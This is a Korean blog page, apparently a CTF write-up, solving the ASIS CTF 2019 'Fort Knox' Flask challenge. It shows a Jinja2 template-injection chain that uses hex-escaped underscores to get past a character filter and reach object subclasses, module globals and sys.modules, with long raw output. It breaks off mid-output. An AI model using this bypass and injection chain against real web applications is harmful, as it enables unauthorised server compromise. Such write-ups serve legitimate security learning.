White Security

블로그 이전 안내

POSIX — Fri, 24 May 2019 22:36:05 +0900

19년 5월 24일 부터

https://p.osix.kr 으로 이전하였음을 알려드립니다.

감사합니다.

Asis CTF 2019 - Fort Knox 풀이

POSIX — Sat, 20 Apr 2019 22:55:09 +0900

Asia CTF web 2번

Flask SSTI 문제입니다.

접속하면 입력 폼 하나와, 링크 6개가 보이는데

링크는 아직까지도 무슨 의도인지 모르겠습니다.

소스를 보면 주석으로 파이썬 소스가 주어집니다.

소스가 필요할 정도로 어렵지는 않았는데

보너스 문제 같은 느낌이라 준 것 같습니다.

from flask import Flask, session
from flask_session import Session
from flask import request
from flask import render_template
from jinja2 import Template

import fort

Flask.secret_key = fort.SECKEY

app = Flask(__name__)
app.config['SESSION_TYPE'] = 'filesystem'
app.config['TEMPLATES_AUTO_RELOAD'] = True
Session(app)

@app.route("/")
def main():
    return render_template("index.html")

@app.route("/ask", methods = ["POST"])
def ask():
    question = request.form["q"]
    for c in "._%":
        if c in question:
            return render_template("no.html", err = "no " + c)
    try:
        t = Template(question)
        t.globals = {}
        answer = t.render({
            "history": fort.history(),
            "credit": fort.credit(),
            "trustworthy": fort.trustworthy()
        })
    except:
        return render_template("no.html", err = "bad")
    return render_template("yes.html", answer = answer)

@app.route("/door/<door>")
def door(door):
    if fort.trustworthy():
        return render_template("flag.html", flag = fort.FLAG)
    doorNum = 0
    if door is not None:
        doorNum = int(door)
    if doorNum > 0 and doorNum < 7:
        fort.visit(doorNum)
        return render_template("door.html", door = doorNum)
    return render_template("no.html", err = "Door not found!")

q를 입력인자로 받고 '._%' 문자를 필터링 하고 있습니다.

그러나 파이썬 문법상 모두 우회할 수 있습니다.

7*7
49


[]['\x5f\x5fclass\x5f\x5f']
<type 'list'>


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']
<type 'object'>


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']() 
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'uwsgi._Input'>, <type 'uwsgi.SymbolsImporter'>, <type 'uwsgi.ZipImporter'>, <type 'uwsgi.SymbolsZipImporter'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'itertools.combinations'>, <type 'itertools.combinations_with_replacement'>, <type 'itertools.cycle'>, <type 'itertools.dropwhile'>, <type 'itertools.takewhile'>, <type 'itertools.islice'>, <type 'itertools.starmap'>, <type 'itertools.imap'>, <type 'itertools.chain'>, <type 'itertools.compress'>, <type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>, <type 'itertools.count'>, <type 'itertools.izip'>, <type 'itertools.izip_longest'>, <type 'itertools.permutations'>, <type 'itertools.product'>, <type 'itertools.repeat'>, <type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>, <type 'itertools.tee'>, <type 'itertools._grouper'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'string.Template'>, <class 'string.Formatter'>, <type 'collections.deque'>, <type 'deque_iterator'>, <type 'deque_reverse_iterator'>, <type '_thread._localdummy'>, <type 'thread._local'>, <type 'thread.lock'>, <type 'datetime.date'>, <type 'datetime.timedelta'>, <type 'datetime.time'>, <type 'datetime.tzinfo'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <type 'time.struct_time'>, <class 'email.LazyImporter'>, <type 'Struct'>, <type '_hashlib.HASH'>, <type '_random.Random'>, <type '_ssl._SSLContext'>, <type '_ssl._SSLSocket'>, <class 'socket._closedsocket'>, <type '_socket.socket'>, <type 'method_descriptor'>, <class 'socket._socketobject'>, <class 'socket._fileobject'>, <class 'urlparse.ResultMixin'>, <class 'contextlib.GeneratorContextManager'>, <class 'contextlib.closing'>, <class 'calendar.Calendar'>, <type '_io._IOBase'>, <type '_io.IncrementalNewlineDecoder'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'werkzeug.urls.Href'>, <class 'werkzeug.wsgi.ProxyMiddleware'>, <class 'werkzeug.wsgi.SharedDataMiddleware'>, <class 'werkzeug.wsgi.DispatcherMiddleware'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.BaseRequest'>, <class 'werkzeug.wrappers.BaseResponse'>, <class 'werkzeug.wrappers.AcceptMixin'>, <class 'werkzeug.wrappers.ETagRequestMixin'>, <class 'werkzeug.wrappers.UserAgentMixin'>, <class 'werkzeug.wrappers.AuthorizationMixin'>, <class 'werkzeug.wrappers.StreamOnlyMixin'>, <class 'werkzeug.wrappers.ETagResponseMixin'>, <class 'werkzeug.wrappers.ResponseStream'>, <class 'werkzeug.wrappers.ResponseStreamMixin'>, <class 'werkzeug.wrappers.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.WWWAuthenticateMixin'>, <class 'werkzeug.exceptions.Aborter'>, <type '_json.Scanner'>, <type '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'threading._Verbose'>, <type 'cPickle.Unpickler'>, <type 'cPickle.Pickler'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.nodes.Node'>, <class 'numbers.Number'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContextBase'>, <class 'jinja2.runtime.LoopContextIterator'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal._ContextManager'>, <class 'decimal.Context'>, <class 'decimal._WorkRep'>, <class 'decimal._Log10Memoize'>, <type '_ast.AST'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'difflib.HtmlDiff'>, <class 'uuid.UUID'>, <type 'CArgObject'>, <type '_ctypes.CThunkObject'>, <type '_ctypes._CData'>, <type '_ctypes.CField'>, <type '_ctypes.DictRemover'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <type 'select.epoll'>, <class 'subprocess.Popen'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'ast.NodeVisitor'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'itsdangerous._json._CompactJSON'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'logging.LogRecord'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.wrappers.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'flask_session.Session'>, <class 'werkzeug.contrib.cache.BaseCache'>, <class 'jinja2.debug.TracebackFrameProxy'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>, <class 'jinja2.debug.ProcessedTraceback'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <type 'method-wrapper'>, <type 'tupleiterator'>]


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()['\x5f\x5finit\x5f\x5f'] 
<method-wrapper '__init__' of list object at 0x7f59d5c44d88>


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59] 
<class 'warnings.catch_warnings'>


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f'] 
<unbound method catch_warnings.__init__>


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f'] 
{'filterwarnings': <function filterwarnings at 0x7f59df7cdaa0>, 'once_registry': {}, 'WarningMessage': <class 'warnings.WarningMessage'>, '_show_warning': <function _show_warning at 0x7f59df7cda28>, 'filters': [('ignore', <_sre.SRE_Pattern object at 0x7f59d721f618>, <type 'exceptions.DeprecationWarning'>, <_sre.SRE_Pattern object at 0x7f59d6f94450>, 0), ('ignore', None, <type 'exceptions.DeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.PendingDeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.ImportWarning'>, None, 0), ('ignore', None, <type 'exceptions.BytesWarning'>, None, 0)], '_setoption': <function _setoption at 0x7f59df7cdcf8>, 'showwarning': <function _show_warning at 0x7f59df7cda28>, '__all__': ['warn', 'warn_explicit', 'showwarning', 'formatwarning', 'filterwarnings', 'simplefilter', 'resetwarnings', 'catch_warnings'], 'onceregistry': {}, '__package__': None, 'simplefilter': <function simplefilter at 0x7f59df7cdb90>, 'default_action': 'default', '_getcategory': <function _getcategory at 0x7f59df7cdde8>, '__builtins__': {'bytearray': <type 'bytearray'>, 'IndexError': <type 'exceptions.IndexError'>, 'all': <built-in function all>, 'help': Type help() for interactive help, or help(object) for help about object., 'vars': <built-in function vars>, 'SyntaxError': <type 'exceptions.SyntaxError'>, 'unicode': <type 'unicode'>, 'UnicodeDecodeError': <type 'exceptions.UnicodeDecodeError'>, 'memoryview': <type 'memoryview'>, 'isinstance': <built-in function isinstance>, 'copyright': Copyright (c) 2001-2018 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'NameError': <type 'exceptions.NameError'>, 'BytesWarning': <type 'exceptions.BytesWarning'>, 'dict': <type 'dict'>, 'input': <built-in function input>, 'oct': <built-in function oct>, 'bin': <built-in function bin>, 'SystemExit': <type 'exceptions.SystemExit'>, 'StandardError': <type 'exceptions.StandardError'>, 'format': <built-in function format>, 'repr': <built-in function repr>, 'sorted': <built-in function sorted>, 'False': False, 'RuntimeWarning': <type 'exceptions.RuntimeWarning'>, 'list': <type 'list'>, 'iter': <built-in function iter>, 'reload': <built-in function reload>, 'Warning': <type 'exceptions.Warning'>, '__package__': None, 'round': <built-in function round>, 'dir': <built-in function dir>, 'cmp': <built-in function cmp>, 'set': <type 'set'>, 'bytes': <type 'str'>, 'reduce': <built-in function reduce>, 'intern': <built-in function intern>, 'issubclass': <built-in function issubclass>, 'Ellipsis': Ellipsis, 'EOFError': <type 'exceptions.EOFError'>, 'locals': <built-in function locals>, 'BufferError': <type 'exceptions.BufferError'>, 'slice': <type 'slice'>, 'FloatingPointError': <type 'exceptions.FloatingPointError'>, 'sum': <built-in function sum>, 'getattr': <built-in function getattr>, 'abs': <built-in function abs>, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'print': <built-in function print>, 'True': True, 'FutureWarning': <type 'exceptions.FutureWarning'>, 'ImportWarning': <type 'exceptions.ImportWarning'>, 'None': None, 'hash': <built-in function hash>, 'ReferenceError': <type 'exceptions.ReferenceError'>, 'len': <built-in function len>, 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'frozenset': <type 'frozenset'>, '__name__': '__builtin__', 'ord': <built-in function ord>, 'super': <type 'super'>, 'TypeError': <type 'exceptions.TypeError'>, 'license': Type license() to see the full license text, 'KeyboardInterrupt': <type 'exceptions.KeyboardInterrupt'>, 'UserWarning': <type 'exceptions.UserWarning'>, 'filter': <built-in function filter>, 'range': <built-in function range>, 'staticmethod': <type 'staticmethod'>, 'SystemError': <type 'exceptions.SystemError'>, 'BaseException': <type 'exceptions.BaseException'>, 'pow': <built-in function pow>, 'RuntimeError': <type 'exceptions.RuntimeError'>, 'float': <type 'float'>, 'MemoryError': <type 'exceptions.MemoryError'>, 'StopIteration': <type 'exceptions.StopIteration'>, 'globals': <built-in function globals>, 'divmod': <built-in function divmod>, 'enumerate': <type 'enumerate'>, 'apply': <built-in function apply>, 'LookupError': <type 'exceptions.LookupError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'basestring': <type 'basestring'>, 'UnicodeError': <type 'exceptions.UnicodeError'>, 'zip': <built-in function zip>, 'hex': <built-in function hex>, 'long': <type 'long'>, 'next': <built-in function next>, 'ImportError': <type 'exceptions.ImportError'>, 'chr': <built-in function chr>, 'xrange': <type 'xrange'>, 'type': <type 'type'>, '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", 'Exception': <type 'exceptions.Exception'>, 'tuple': <type 'tuple'>, 'UnicodeTranslateError': <type 'exceptions.UnicodeTranslateError'>, 'reversed': <type 'reversed'>, 'UnicodeEncodeError': <type 'exceptions.UnicodeEncodeError'>, 'IOError': <type 'exceptions.IOError'>, 'hasattr': <built-in function hasattr>, 'delattr': <built-in function delattr>, 'setattr': <built-in function setattr>, 'raw_input': <built-in function raw_input>, 'SyntaxWarning': <type 'exceptions.SyntaxWarning'>, 'compile': <built-in function compile>, 'ArithmeticError': <type 'exceptions.ArithmeticError'>, 'str': <type 'str'>, 'property': <type 'property'>, 'GeneratorExit': <type 'exceptions.GeneratorExit'>, 'int': <type 'int'>, '__import__': <built-in function __import__>, 'KeyError': <type 'exceptions.KeyError'>, 'coerce': <built-in function coerce>, 'PendingDeprecationWarning': <type 'exceptions.PendingDeprecationWarning'>, 'file': <type 'file'>, 'EnvironmentError': <type 'exceptions.EnvironmentError'>, 'unichr': <built-in function unichr>, 'id': <built-in function id>, 'OSError': <type 'exceptions.OSError'>, 'DeprecationWarning': <type 'exceptions.DeprecationWarning'>, 'min': <built-in function min>, 'UnicodeWarning': <type 'exceptions.UnicodeWarning'>, 'execfile': <built-in function execfile>, 'any': <built-in function any>, 'complex': <type 'complex'>, 'bool': <type 'bool'>, 'ValueError': <type 'exceptions.ValueError'>, 'NotImplemented': NotImplemented, 'map': <built-in function map>, 'buffer': <type 'buffer'>, 'max': <built-in function max>, 'object': <type 'object'>, 'TabError': <type 'exceptions.TabError'>, 'callable': <built-in function callable>, 'ZeroDivisionError': <type 'exceptions.ZeroDivisionError'>, 'eval': <built-in function eval>, '__debug__': True, 'IndentationError': <type 'exceptions.IndentationError'>, 'AssertionError': <type 'exceptions.AssertionError'>, 'classmethod': <type 'classmethod'>, 'UnboundLocalError': <type 'exceptions.UnboundLocalError'>, 'NotImplementedError': <type 'exceptions.NotImplementedError'>, 'AttributeError': <type 'exceptions.AttributeError'>, 'OverflowError': <type 'exceptions.OverflowError'>}, 'catch_warnings': <class 'warnings.catch_warnings'>, '__file__': '/usr/local/lib/python2.7/warnings.pyc', 'warnpy3k': <function warnpy3k at 0x7f59df7cdb18>, 'sys': <module 'sys' (built-in)>, '__name__': 'warnings', 'warn_explicit': <built-in function warn_explicit>, 'types': <module 'types' from '/usr/local/lib/python2.7/types.pyc'>, 'warn': <built-in function warn>, '_processoptions': <function _processoptions at 0x7f59df7cdc80>, 'defaultaction': 'default', '__doc__': 'Python part of the warnings subsystem.', 'linecache': <module 'linecache' from '/usr/local/lib/python2.7/linecache.pyc'>, '_OptionError': <class 'warnings._OptionError'>, 'resetwarnings': <function resetwarnings at 0x7f59df7cdc08>, 'formatwarning': <function formatwarning at 0x7f59df7cd9b0>, '_getaction': <function _getaction at 0x7f59df7cdd70>}


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['sys'] 
<module 'sys' (built-in)>


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['sys']['modules'] 
{'flask.collections': None, 'flask.time': None, 'ctypes.os': None, 'flask.logging': <module 'flask.logging' from '/usr/local/lib/python2.7/site-packages/flask/logging.pyc'>, 'jinja2.cPickle': None, 'gc': <module 'gc' (built-in)>, 'jinja2.collections': None, 'jinja2.tests': <module 'jinja2.tests' from '/usr/local/lib/python2.7/site-packages/jinja2/tests.pyc'>, 'flask_session.flask': None, 'logging.weakref': None, 'flask': <module 'flask' from '/usr/local/lib/python2.7/site-packages/flask/__init__.pyc'>, 'flask.flask': None, 'pprint': <module 'pprint' from '/usr/local/lib/python2.7/pprint.pyc'>, 'email.MIMENonMultipart': <email.LazyImporter object at 0x7f59d8f220d0>, 'werkzeug.posixemulation': <module 'werkzeug.posixemulation' from '/usr/local/lib/python2.7/site-packages/werkzeug/posixemulation.pyc'>, 'string': <module 'string' from '/usr/local/lib/python2.7/string.pyc'>, 'encodings.utf_8': <module 'encodings.utf_8' from '/usr/local/lib/python2.7/encodings/utf_8.pyc'>, 'markupsafe': <module 'markupsafe' from '/usr/local/lib/python2.7/site-packages/markupsafe/__init__.pyc'>, 'json.encoder': <module 'json.encoder' from '/usr/local/lib/python2.7/json/encoder.pyc'>, 'subprocess': <module 'subprocess' from '/usr/local/lib/python2.7/subprocess.pyc'>, '_ast': <module '_ast' (built-in)>, 'werkzeug.types': None, 'jinja2.traceback': None, 'uwsgi': <module 'uwsgi' (built-in)>, 'jinja2.exceptions': <module 'jinja2.exceptions' from '/usr/local/lib/python2.7/site-packages/jinja2/exceptions.pyc'>, 'dis': <module 'dis' from '/usr/local/lib/python2.7/dis.pyc'>, 'logging.threading': None, 'flask.mimetypes': None, 'jinja2.parser': <module 'jinja2.parser' from '/usr/local/lib/python2.7/site-packages/jinja2/parser.pyc'>, 'werkzeug.errno': None, 'flask_session.time': None, 'flask.json.codecs': None, 'jinja2.errno': None, 'flask.unicodedata': None, 'click': <module 'click' from '/usr/local/lib/python2.7/site-packages/click/__init__.pyc'>, 'jinja2.sys': None, 'abc': <module 'abc' from '/usr/local/lib/python2.7/abc.pyc'>, 'jinja2.defaults': <module 'jinja2.defaults' from '/usr/local/lib/python2.7/site-packages/jinja2/defaults.pyc'>, 'flask.globals': <module 'flask.globals' from '/usr/local/lib/python2.7/site-packages/flask/globals.pyc'>, 'click.parser': <module 'click.parser' from '/usr/local/lib/python2.7/site-packages/click/parser.pyc'>, 'werkzeug.wrappers': <module 'werkzeug.wrappers' from '/usr/local/lib/python2.7/site-packages/werkzeug/wrappers.pyc'>, 'jinja2.markupsafe': None, 'ctypes.tempfile': None, '_ctypes': <module '_ctypes' from '/usr/local/lib/python2.7/lib-dynload/_ctypes.so'>, 'exceptions': <module 'exceptions' (built-in)>, 'json.scanner': <module 'json.scanner' from '/usr/local/lib/python2.7/json/scanner.pyc'>, 'codecs': <module 'codecs' from '/usr/local/lib/python2.7/codecs.pyc'>, 'jinja2.lexer': <module 'jinja2.lexer' from '/usr/local/lib/python2.7/site-packages/jinja2/lexer.pyc'>, 'flask_session.uuid': None, 'click.errno': None, 'StringIO': <module 'StringIO' from '/usr/local/lib/python2.7/StringIO.pyc'>, 'weakref': <module 'weakref' from '/usr/local/lib/python2.7/weakref.pyc'>, 'itsdangerous.signer': <module 'itsdangerous.signer' from '/usr/local/lib/python2.7/site-packages/itsdangerous/signer.pyc'>, 'werkzeug.contrib.re': None, 'jinja2.threading': None, 'flask_session': <module 'flask_session' from '/usr/local/lib/python2.7/site-packages/flask_session/__init__.pyc'>, 'base64': <module 'base64' from '/usr/local/lib/python2.7/base64.pyc'>, '_sre': <module '_sre' (built-in)>, 'itsdangerous.numbers': None, 'email.FeedParser': <email.LazyImporter object at 0x7f59d8f12cd0>, 'logging.sys': None, 'flask.zlib': None, 'werkzeug.pkgutil': None, 'ctypes._ctypes': None, '_heapq': <module '_heapq' from '/usr/local/lib/python2.7/lib-dynload/_heapq.so'>, 'werkzeug.base64': None, 'jinja2.jinja2': None, 'werkzeug.hashlib': None, 'click.os': None, 'werkzeug.datastructures': <module 'werkzeug.datastructures' from '/usr/local/lib/python2.7/site-packages/werkzeug/datastructures.pyc'>, 'email.MIMEMessage': <email.LazyImporter object at 0x7f59d8f12fd0>, 'email._parseaddr': <module 'email._parseaddr' from '/usr/local/lib/python2.7/email/_parseaddr.pyc'>, 'email.sys': None, 'tokenize': <module 'tokenize' from '/usr/local/lib/python2.7/tokenize.pyc'>, 'werkzeug.threading': None, 'logging.thread': None, 'jinja2.weakref': None, 'cPickle': <module 'cPickle' from '/usr/local/lib/python2.7/lib-dynload/cPickle.so'>, 'markupsafe.re': None, 'jinja2.tempfile': None, 'click.codecs': None, 'click._unicodefun': <module 'click._unicodefun' from '/usr/local/lib/python2.7/site-packages/click/_unicodefun.pyc'>, 'click.inspect': None, 'unicodedata': <module 'unicodedata' from '/usr/local/lib/python2.7/lib-dynload/unicodedata.so'>, 'thread': <module 'thread' (built-in)>, 'flask.json.uuid': None, 'flask_session.os': None, '_bisect': <module '_bisect' from '/usr/local/lib/python2.7/lib-dynload/_bisect.so'>, 'click.globals': <module 'click.globals' from '/usr/local/lib/python2.7/site-packages/click/globals.pyc'>, 'encodings.aliases': <module 'encodings.aliases' from '/usr/local/lib/python2.7/encodings/aliases.pyc'>, 'fnmatch': <module 'fnmatch' from '/usr/local/lib/python2.7/fnmatch.pyc'>, 'sre_parse': <module 'sre_parse' from '/usr/local/lib/python2.7/sre_parse.pyc'>, 'pickle': <module 'pickle' from '/usr/local/lib/python2.7/pickle.pyc'>, 'logging.cStringIO': None, 'itsdangerous.exc': <module 'itsdangerous.exc' from '/usr/local/lib/python2.7/site-packages/itsdangerous/exc.pyc'>, 'click.sys': None, 'numbers': <module 'numbers' from '/usr/local/lib/python2.7/numbers.pyc'>, 'flask.json.io': None, 'jinja2.utils': <module 'jinja2.utils' from '/usr/local/lib/python2.7/site-packages/jinja2/utils.pyc'>, 'email.Header': <email.LazyImporter object at 0x7f59d8f12d50>, 'email.MIMEBase': <email.LazyImporter object at 0x7f59d8f12f50>, 'strop': <module 'strop' from '/usr/local/lib/python2.7/lib-dynload/strop.so'>, 'flask._compat': <module 'flask._compat' from '/usr/local/lib/python2.7/site-packages/flask/_compat.pyc'>, 'ctypes.util': <module 'ctypes.util' from '/usr/local/lib/python2.7/ctypes/util.pyc'>, 'click.exceptions': <module 'click.exceptions' from '/usr/local/lib/python2.7/site-packages/click/exceptions.pyc'>, 'flask.inspect': None, 'htmlentitydefs': <module 'htmlentitydefs' from '/usr/local/lib/python2.7/htmlentitydefs.pyc'>, 'werkzeug.thread': None, 'os.path': <module 'posixpath' from '/usr/local/lib/python2.7/posixpath.pyc'>, 'flask.ssl': None, 'werkzeug.routing': <module 'werkzeug.routing' from '/usr/local/lib/python2.7/site-packages/werkzeug/routing.pyc'>, 'click.__future__': None, 'werkzeug.formparser': <module 'werkzeug.formparser' from '/usr/local/lib/python2.7/site-packages/werkzeug/formparser.pyc'>, '_weakrefset': <module '_weakrefset' from '/usr/local/lib/python2.7/_weakrefset.pyc'>, 'werkzeug.operator': None, 'jinja2.debug': <module 'jinja2.debug' from '/usr/local/lib/python2.7/site-packages/jinja2/debug.pyc'>, 'functools': <module 'functools' from '/usr/local/lib/python2.7/functools.pyc'>, 'ctypes.re': None, 'sysconfig': <module 'sysconfig' from '/usr/local/lib/python2.7/sysconfig.pyc'>, 'email.MIMEImage': <email.LazyImporter object at 0x7f59d8f12f90>, 'jinja2.json': None, 'email.MIMEText': <email.LazyImporter object at 0x7f59d8f22190>, 'flask_session.cPickle': None, 'uuid': <module 'uuid' from '/usr/local/lib/python2.7/uuid.pyc'>, 'itsdangerous._json': <module 'itsdangerous._json' from '/usr/local/lib/python2.7/site-packages/itsdangerous/_json.pyc'>, 'tempfile': <module 'tempfile' from '/usr/local/lib/python2.7/tempfile.pyc'>, 'imp': <module 'imp' (built-in)>, 'werkzeug.http': <module 'werkzeug.http' from '/usr/local/lib/python2.7/site-packages/werkzeug/http.pyc'>, 'main': <module 'main' from './main.pyc'>, 'flask.json.jinja2': None, 'jinja2': <module 'jinja2' from '/usr/local/lib/python2.7/site-packages/jinja2/__init__.pyc'>, 'itsdangerous.sys': None, 'werkzeug._compat': <module 'werkzeug._compat' from '/usr/local/lib/python2.7/site-packages/werkzeug/_compat.pyc'>, 'email.urllib': None, 'werkzeug.urllib': None, 'click.fcntl': None, 'werkzeug.contrib.cache': <module 'werkzeug.contrib.cache' from '/usr/local/lib/python2.7/site-packages/werkzeug/contrib/cache.pyc'>, 'httplib': <module 'httplib' from '/usr/local/lib/python2.7/httplib.pyc'>, 'decimal': <module 'decimal' from '/usr/local/lib/python2.7/decimal.pyc'>, 'flask.json.tag': <module 'flask.json.tag' from 